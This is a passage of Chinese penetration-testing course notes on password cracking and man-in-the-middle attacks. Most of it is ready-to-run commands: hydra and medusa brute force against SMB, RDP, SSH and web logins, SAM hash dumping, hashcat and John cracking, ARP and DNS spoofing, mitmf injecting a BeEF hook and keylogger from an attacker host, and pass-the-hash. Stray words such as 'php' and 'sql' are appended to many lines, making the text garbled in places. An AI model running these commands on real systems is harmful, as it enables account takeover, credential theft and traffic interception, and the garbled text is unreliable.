第十三章 密碼破解

思路
目標系統實施了強安全措施
  – 安裝了全部補丁
  – 無任何已知漏洞
  – 無應用層漏洞
  – 攻擊面最小化
社會工程學
獲取目標系統用戶身份
  – 非受權用戶不受信,認證用戶能夠訪問守信資源
  – 已有用戶帳號權限受限,須要提權
  – 不會觸發系統報警php

身份認證方法
證實你是你聲稱你是的那我的
  – 你知道什麼(帳號密碼、pin、passphrase)
  – 你有什麼(令牌、token、key、證書、密寶、手機)
  – 你是誰(指紋、視網膜、虹膜、掌紋、聲紋、面部識別)
  – 以上方法結合使用(多因素身份認證)
基於互聯網的身份驗證仍以帳號密碼爲主要形式python

密碼破解方法
人工猜解
  – 垃圾桶工程
  – 被動信息收集
基於字典暴力破解(主流)
鍵盤空間字符暴破
字典
  – 保存有用戶名和密碼的文本文件
  – /usr/share/wordlist
  – /usr/share/wfuzz/wordlist
  – /usr/share/seclistsmysql

字典
鍵盤空間字符爆破
  – 全鍵盤空間字符
  – 部分鍵盤空間字符 (基於規則)
  – 數字、小寫字母、大寫字母、符號、空格、瑞典字符、高位ASCII碼
crunch <min-len> <max-len> [<charset string>] [options]
  – <charset string> 默認是小寫字符
crunch 6 6 0123456789 -o START -d 2 -b 1mb / -c 100
  – -b 按大小分割字典文件(kb/kib、mb/mib、gb/gib)
  – -c 每一個字典的行數
  – 以上兩個參數必須與-o START 結合使用
  – -d 同一字符連貫出現數量(11 / aaa)git

字符集
  – crunch 4 4 -f /usr/share/crunch/charset.lst lalpha-sv -o 1.txt
無重複字符
  – crunch 1 1 -p 1234567890 | more
  – 必須是最後一個參數
  – 最大、最小字符長度失效,但必須存在
  – 與-s 參數不兼容(-s 指定起始字符串)
  – crunch 4 4 0123456789 -s 9990
讀取文件中每行內容做爲基本字符生成字典
  – crunch 1 1 -q readgithub

字典組成規則
  – crunch 6 6 -t @,%%^^ | more
  – @:小寫字母 lalpha
  – ,:大寫字母 ualpha
  – %:數字 numeric
  – ^:符號 symbols
輸出文件壓縮
  – crunch 4 4 -t @,%^ -o 1.txt -z 7z
  – 其餘壓縮格式:gzip、bzip二、lzma
  – 7z壓縮比率最大web

crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha-numeric-all-space -o w.txt -t @d@@ -s cdab
crunch 4 5 -p dog cat bird算法


crunch 5 5 abc DEF + \!@# -t ,@^%,
其中: + 佔位符
    – \ 轉義符(空格、符號)sql


crunch 5 5 -t ddd%% -p dog cat bird    // 其中ddd只是佔位符,隨便換成什麼均可以,若是aaa,bcd數據庫

-p   後面指定的dog、bird、cat隨意組合以後再跟兩個數字
crunch 5 5 -d 2@ -t @@@%%    // -d表明不能出現超過2個連續的小寫字母編程

組合應用(不保存成密碼文件,而是直接由密碼破解工具調用使用,這樣就不會佔磁盤空間)
  – crunch 2 4 0123456789 | aircrack-ng a.cap -e MyESSID -w -
  – crunch 10 10 12345 --stdout | airolib-ng testdb -import passwd -

按我的信息生成其專屬的密碼字典
CUPP:Common User Password Profiler
  – git clone https://github.com/Mebus/cupp.git
  – python cup.py -i

經過收集網站信息生成字典
cewl 1.1.1.1 -m 3 -d 3 -e -c -v -w a.txt
  – -m:最小單詞長度
  – -d:爬網深度
  – -e:收集包含email地址信息
  – -c:每一個單詞出現次數
  – 支持基本、摘要 身份認證
  – 支持代理

用戶密碼變型
  – 基於 cewl 的結果進行密碼變型
  – 末尾增長數字串
  – 字母大小寫變化
  – 字母與符號互相轉換
  – 字母與數字互相轉換
  – P@$$w0rd

使用 John the Ripper 配置文件實現密碼動態變型
/etc/john/john.conf
  – [List.Rules:Wordlist]  // 基於Wordlist字典文件
  – $[0-9]$[0-9]$[0-9]    // 在結尾處增長3個0-9的數字,如012
  – john --wordlist=cewl.txt --rules --stdout > m.txt  // --wordlist:指定密碼文件
  – [List.Rules:test]
  $[0-9]$[0-9]$[0-9]$[a-zA-Z]  // 098A
  $[0-9]$[0-9]$[0-9]$[a-zA-Z]$[a-zA-Z]$[a-zA-Z]$[`~!@#$%^&*()\-_=+]  // 098Aa#
  – john --wordlist=cewl.txt --rules=test --stdout > m.txt
  – john --wordlist=ahm.lst --rules=test HASHFILE

在線密碼破解——hydra
Hydra
  – 九頭蛇,砍去一個頭即長出新頭,後爲大力神赫拉克勒斯所殺

Windows密碼破解
  – hydra -l administrator -P pass.lst smb://1.1.1.1/admin$ -vVd  // -l  用戶名     -P 密碼 
  – hydra -l administrator -P pass.lst rdp://1.1.1.1 -t 1 -vV    
Linux密碼破解
  – hydra -l root -P pass.lst ssh://1.1.1.1 -t 1  -vV
其餘服務密碼破解
  – hydra -L user.lst -P pass.lst ftp://1.1.1.1 -s 2121 -e nsr -o p.txt -t 1  // -s 服務端口   -e 支持空密碼,支持帳號密碼相同、相反檢查 -o 輸出到文件   -t  併發爲1
圖形化界面
  – xhydra

HTTP表單身份認證
  – hydra -l admin -P pass.lst 1.1.1.1 http-post-form    "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:S=index.php" -V  //S 表明帳號密碼是正確的狀況下跳轉到的頁面

 

 

  – hydra -l admin -P pass.lst 1.1.1.1 http-post-form    "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login Failed" -V
  – /foo.php:user=^USER^&pass=^PASS^:S=success:C=/page/cookie:H=X-Foo: Foo
    C:先訪問指定頁面取得cookie
    H:指定http頭
– https-post-form、http-get-form、https-get-form
– -S:使用SSL鏈接

pw-inspector
  – 按長度和字符集篩選字典
  – pw-inspector -i /usr/share/wordlists/nmap.lst -o p.lst -l  // 匹配nmap.lst裏面的小寫字母輸出爲p.lst
  – pw-inspector -i /usr/share/wordlists/nmap.lst -o P.lst -u  // 匹配大寫字母
密碼破解效率
  – 密碼複雜度(字典命中率)
  – 帶寬、協議、服務器性能、客戶端性能
  – 鎖定閾值
  – 單位時間最大登錄請求次數

 

在線密碼破解——medusa

Hydra 的缺點
  – 穩定性差,程序時常崩潰
  – 速度控制很差,容易觸發服務屏蔽或鎖死機制
  – 每主機新建進程,每服務新建實例
  – 大量目標破解時性能差
Medusa 的特色
  – 穩定性好
  – 速度控制得當
  – 基於線程
  – 支持模塊少於hydra(不支持RDP)
  – WEB-Form支持存在缺陷

medusa -d
破解windows密碼
– medusa -M smbnt -h 1.1.1.1 -u administrator -P pass.lst -e ns -F
破解Linux SSH密碼
– medusa -M ssh -h 192.168.20.10 -u root -P pass.lst -e ns –F
其餘服務密碼破解
  – medusa -M mysql -h 1.1.1.1 -u root -P pass.lst -e ns -F
  – medusa -h 1.1.1.1 -u admin -P pass.lst -M web-form -m     FORM:"dvwa/login.php" -m DENY-SIGNAL:"login.php" -m FORM-DATA:"post?user=username&pass=password&Login=Login"

-n:非默認端口
-s:使用SSL鏈接
-T:併發主機數
medusa -M ftp -q

 

離線密碼破解
身份認證
  – 禁止明文傳輸密碼
  – 每次認證使用HASH算法加密密碼傳輸(HASH算法加密容易、解密困難)
  – 服務器端用戶數據庫應加鹽加密保存
破解思路
  – 嗅探獲取密碼HASH
  – 利用漏洞登錄服務器並從用戶數據庫獲取密碼HASH
  – 識別HASH類型
    長度、字符集
  – 利用離線破解工具碰撞密碼HASH

優點
  – 離線不會觸發密碼鎖定機制
  – 不會產生大量登錄失敗日誌引發管理員注意
HASH識別工具
  – hash‐identifier
  – Hashid
  – 可能識別錯誤或沒法識別

Windows HASH獲取工具
  – 利用漏洞:Pwdump、fgdump、 mimikatz、wce
  – 物理接觸:samdump2
  – Kali ISO 啓動虛擬機
  – mount /dev/sda1 /mnt
  – cd /mnt/Windows/System32/config
  – samdump2 SYSTEM SAM -o sam.hash
  – 利用nc傳輸HASH

 

離線密碼破解——Hashcat
開源多線程密碼破解工具
支持80多種加密算法破解
基於CPU的計算能力破解
六種模式
  – 0 Straight:字典破解
  – 1 Combination:將字典中密碼進行組合(1 2 > 11 22 12 21)
  – 2 Toggle case:嘗試字典中全部密碼的大小寫字母組合
  – 3 Brute force:指定字符集(或所有字符集)全部組合
  – 4 Permutation:字典中密碼的所有字符置換組合(12 21)
  – 5 Table-lookup:程序爲字典中全部密碼自動生成掩碼

命令
  – hashcat -b    // 根據當前計算機性能得出每秒可以破解多少大小的密碼


  – hashcat -m 100 hash.dump pass.lst
  – hashcat -m 0 hash.txt -a 3 ?l?l?l?l?l?l?l?l?d?d
  – 結果:hashcat.pot
  – hashcat -m 100 -a 3 hash -i --increment-min 6 --increment-max  8 ?l?l?l?l?l?l?l?l
  – ?l = abcdefghijklmnopqrstuvwxyz
  – ?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ
  – ?d = 0123456789
  – ?s = !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
  – ?a = ?l?u?d?s
  – ?b = 0x00 - 0xff

離線密碼破解——oclhashcat
號稱世界上最快、惟一的基於GPGPU的密碼破解軟件(必須基於硬件GPU)
免費開源、支持多平臺、支持分佈式、150+hash算法
硬件支持
  – 虛擬機中沒法使用
  – 支持 CUDA 技術的Nvidia顯卡
  – 支持 OpenCL 技術的AMD顯卡
  – 安裝相應的驅動
限制
  – 最大密碼長度 55 字符
  – 使用Unicode的最大密碼長度 27 字符

關於版本
  – oclHashcat-plus、oclHashcat-lite已經合併爲oclhashcat
命令
  – oclHashcat -m 0 hash.txt -a 3 ?a?a?a?a?a?a?a
  – ?l = abcdefghijklmnopqrstuvwxyz
  – ?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ
  – ?d = 0123456789
  – ?s = !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
  – ?a = ?l?u?d?s
  – ?b = 0x00 - 0xff

離線密碼破解——RainbowCrack
基於時間記憶權衡技術生成彩虹表
提早計算密碼的HASH值,經過比對HASH值破解密碼
計算HASH的速度很慢,修改版支持CUDA GPU
  – https://www.freerainbowtables.com/en/download/
KALI 中包含的RainbowCrack工具
  – rtgen:預計算,生成彩虹表,耗時的階段
  – rtsort:對rtgen生成的彩虹表進行排序
  – rcrack:查找彩虹表破解密碼
  – 以上命令必須順序使用

彩虹表
  – 密碼明文、HASH值、HASH算法、字符集、明文長度範圍
rtgen
  – LanMan、NTLM、MD二、MD四、MD五、SHA一、RIPEMD160
  – rtgen md5 loweralpha 1 5 0 10000 10000 0
  – 計算彩虹表時間可能很長
下載現成的彩虹表
  – http://www.freerainbowtables.com/en/tables/
  – http://rainbowtables.shmoo.com/

彩虹表排序
  – /usr/share/rainbowcrack
  – rtsort /md5_loweralpha#1-5_0_1000x1000_0.rt
密碼破解
  – rcrack *.rt -h 5d41402abc4b2a76b9719d911017c592  
  – rcrack *.rt -l hash.txt

離線密碼破解——John
支持衆多服務應用的加密破解
  – john --list=formats
支持某些對稱加密算法破解
模式
  – Wordlist:基於規則的字典破解    /usr/share/john/password.lst    第二個執行的模式
  – Single crack:默認被首先執行,使用Login/GECOS信息嘗試破解           第一個執行的模式,若是破解失敗,則走第二個wordlist模式
  – Incremental:全部或指定字符集的暴力破解
  – External:須要在主配配文件中用C語言子集編程

默認破解模式
  – Single、wordlist、incremental
  – 主配置文件中指定默認wordlist


破解Linux系統帳號密碼
  – unshadow /etc/passwd /etc/shadow > pass.txt    // 合併用戶名和密碼文件
  – john pass.txt      // 破解密碼
  – john  --show  pass.txt    // 查看已經破解的密碼

破解windows密碼
  – john sam.dump --wordlist=password.lst --format=nt
  – john sam.dump --format=nt --show
Johnny 圖形化界面的john

離線密碼破解——Ophcrack
  基於彩虹表的LM、NTLM密碼破解軟件
  彩虹表:http://ophcrack.sourceforge.net/tables.php

在線密碼破解

密碼嗅探
2、三層地址
  – IP 網絡到網絡
  – MAC 主機到主機
交換機與HUB
  – HUB全端口轉發
  – 交換機根據學習地址轉發
  – 混雜模式抓包

ARP協議
  – 免費ARP
  – 基於廣播學習
  – 以太網頭、ARP頭
  – 請求、響應相對獨立
  – 基於傳聞的協議

手動修改數據包實現ARP欺騙
arpspoof
  – echo 1 > /proc/sys/net/ipv4/ip_forward
  – arpspoof -t 1.1.1.12 -r 1.1.1.1
網絡嗅探
  – driftnet -i eth0 -a -d tempdir -s
  – dnsspoof -i eth0 -f /usr/share/dsniff/dnsspoof.hosts
  – urlsnarf -i eth0
  – webspy -i eth0 1.1.1.10
  – dsniff -i eth0 -m
    /usr/share/dsniff/dsniff.services

DNS欺騙代理
– dnschef --fakeip=1.1.1.10 --fakedomains=www.google.com,www.youtube.com --interface 1.1.1.2   -q
將被害者DNS指向僞造的DNS服務器

中間人攻擊
注入XSS
  – 即便沒有XSS漏洞,也能夠凌空向每一個HTTP請求中注入XSS攻擊代碼
  – 一旦得手,影響範圍巨大
  – 若是中間人發生在運營商線路上,很難引發用戶注意
Mitmf 安裝
  – 曾經號稱最好用的中間人攻擊工具(kali 2.0後默認未安裝)
  – apt-get install python-dev python-setuptools libpcap0.8-dev libnetfilter-queue-dev libssl-dev libjpeg-dev libxml2-dev libxslt1-dev libcapstone3  libcapstone-dev libffi-dev file
  – apt-get install mitmf
  – pip uninstall twisted
  – wget http://twistedmatrix.com/Releases/Twisted/15.5/Twisted-15.5.0.tar.bz2
  – pip install ./Twisted-15.5.0.tar.bz2

啓動beef
  – cd /usr/share/beef-xss/
  – ./beef
mitmf中間人注入xss腳本
  – mitmf --spoof --arp -i eth0 --gateway 1.1.1.1 --target 1.1.1.2 --inject
  --js-url http://1.1.1.3:3000/hook.js
  – mitmf --spoof --arp -i eth0 --gateway 192.168.20.2 --target   192.168.20.1 --jskeylogger
  – --upsidedownternet、--screen(/var/log/mitmf)
  – --ferretng(cookie)、--browserprofiler(瀏覽器及插件信息)
  – --smbtrap、--smbauth(不演示)

--hsts
  – HTTP Strict Transport Security
  – 防止協議降級、cookie竊取
  – 安全策略經過HTTP響應頭」Strict-Transport-Security「實施
  – 限制user-agent、https等

--filepwn
  – 凌空插後門

Ettercap
  – 統一的中間人攻擊工具
  – 轉發MAC與本機相同,但IP與本機不一樣的數據包
  – 支持SSH一、SSL中間人攻擊
模塊劃分
  – Snifer
  – MITM
  – Filter
  – Log
  – Plugin

Snifer
  – 負責數據包轉發
  – Unified
    單網卡狀況下獨立完成三層包轉發
    始終禁用內核IP_Forward功能
  – Bridge
    雙網卡狀況下的一層MITM模式
    可做爲IPS過濾數據包
    不可在網關上使用(透明網橋)
MITM
  – 把流量重定向到ettercap主機上
  – 可使用其餘工具實現MITM,ettercap之做嗅探和過濾使用

實現MITM的方法
  – ARP
  – ICMP
    ICMP路由重定向,半雙工
  – DHCP

    修改網關地址,半雙工
  – Switch Port Stealing
    flood目標地址是本機,源地址是受害者的包
    適用於ARP靜態綁定的環境
  – NDP
    IPv6協議欺騙技術

2.4以上內核對ARP地址欺騙的約束
  – 收到非請求的ARP響應包,不更新本地ARP緩存
  – Ettercap使用ARP request包進行攻擊
Solaris 不根據ARP包更新本地ARP緩存
  – Ettercap使用先發ICMP包來更新ARP緩存

用戶操做界面
  – -T 文本界面
  – -G 圖形界面
  – -C 基於文本的圖形界面
  – -D 後臺模式
指定目標
  – IPv4:MAC/IPs/Ports
  – IPv6:MAC/IPs/IPv6/Ports
  – /10.0.0.1−5;10.0.1.33/20−25,80,110

權限
  – 須要root權限打開鏈路層Socket鏈接,而後使用nobody帳號運行
  – 日誌寫入目錄須要nobody有寫入權
  – 修改etter.conf:EC_UID=65534
基於僞造證書的SSL MITIM
  – Bridge模式不支持SSL MITM
  – openssl genrsa −out etter.ssl.crt 1024
  – openssl req −new−keyetter.ssl.crt −out tmp.csr
  – openssl x509 −req −days 1825 −in tmp.csr −signkey etter.ssl.crt
  −out tmp.new
  – cat tmp.new>>etter.ssl.crt
  – rm −f tmp.newtmp.csr

ARP MITM
字符模式
  – ettercap -i eth0 -T -M arp -q /192.168.1.1// /192.168.1.2// -F 1.ef -P   autoadd -w a.cap -l loginfo -L logall -m message
圖形界面
SSL MITM
  – vi /etc/ettercap/etter.conf
DNS欺騙
  – dns_spoof插件配置文件
  – vi /etc/ettercap/etter.dns

Ettercap 日誌查看
  – etterlog -p log.eci 查看獲取的密碼
  – etterlog -c log.ecp 列出Log中的鏈接
  – etterlog -c -f /1.1.1.1/ log.ecp
  – etterlog -B -n -s -F TCP:1.1.1.1:20:1.1.1.2:1234 log.ecp > aa        選擇相應的鏈接並榨取文件

Filter
  – /usr/share/ettercap/
SSH-2.xx / SSH-1.99 / SSH-1.51
  – etterfilter etter.filter.ssh -o ssh.ef
替換HTTP內容
  – if (ip.proto == TCP && tcp.src == 80) {
  – msg("data on TCP 80\n");
  – replace("img src=", "img src=\"http://1.1.1.1/1.gif\" ");
  – replace("IMG src=", "img src=\"http://1.1.1.1/1.gif\" ");
  – replace("IMG SRC=", "img src=\"http://1.1.1.1/1.gif\" ");
  – }

ICMP
  – -M icmp:00:11:22:33:44:55/10.0.0.1(真實網關的MAC/IP)
DHCP
  – −M dhcp:192.168.0.30,35,50−60/255.255.255.0/192.168.0.1(DNS)
Port
  – -M port /1.1.1.1/ /1.1.1.2/
Ndp
  – -M ndp //fe80::260d:afff:fe6e:f378/ //2001:db8::2:1/

Pass the Hash (PTH)密碼破解耗費時間資源巨大使用密文提交給服務器直接完成身份認證NTLM/LM是沒有加鹽的靜態HASH密文企業中使用ghost等工具克隆安裝系統pth-winexe -U  w7%aad3b435b51404eeaad3b435b51404ee:ed1bfaeb3063716ab7fe2a11faf126d8 //1.1.1.1 cmd

相關文章
相關標籤/搜索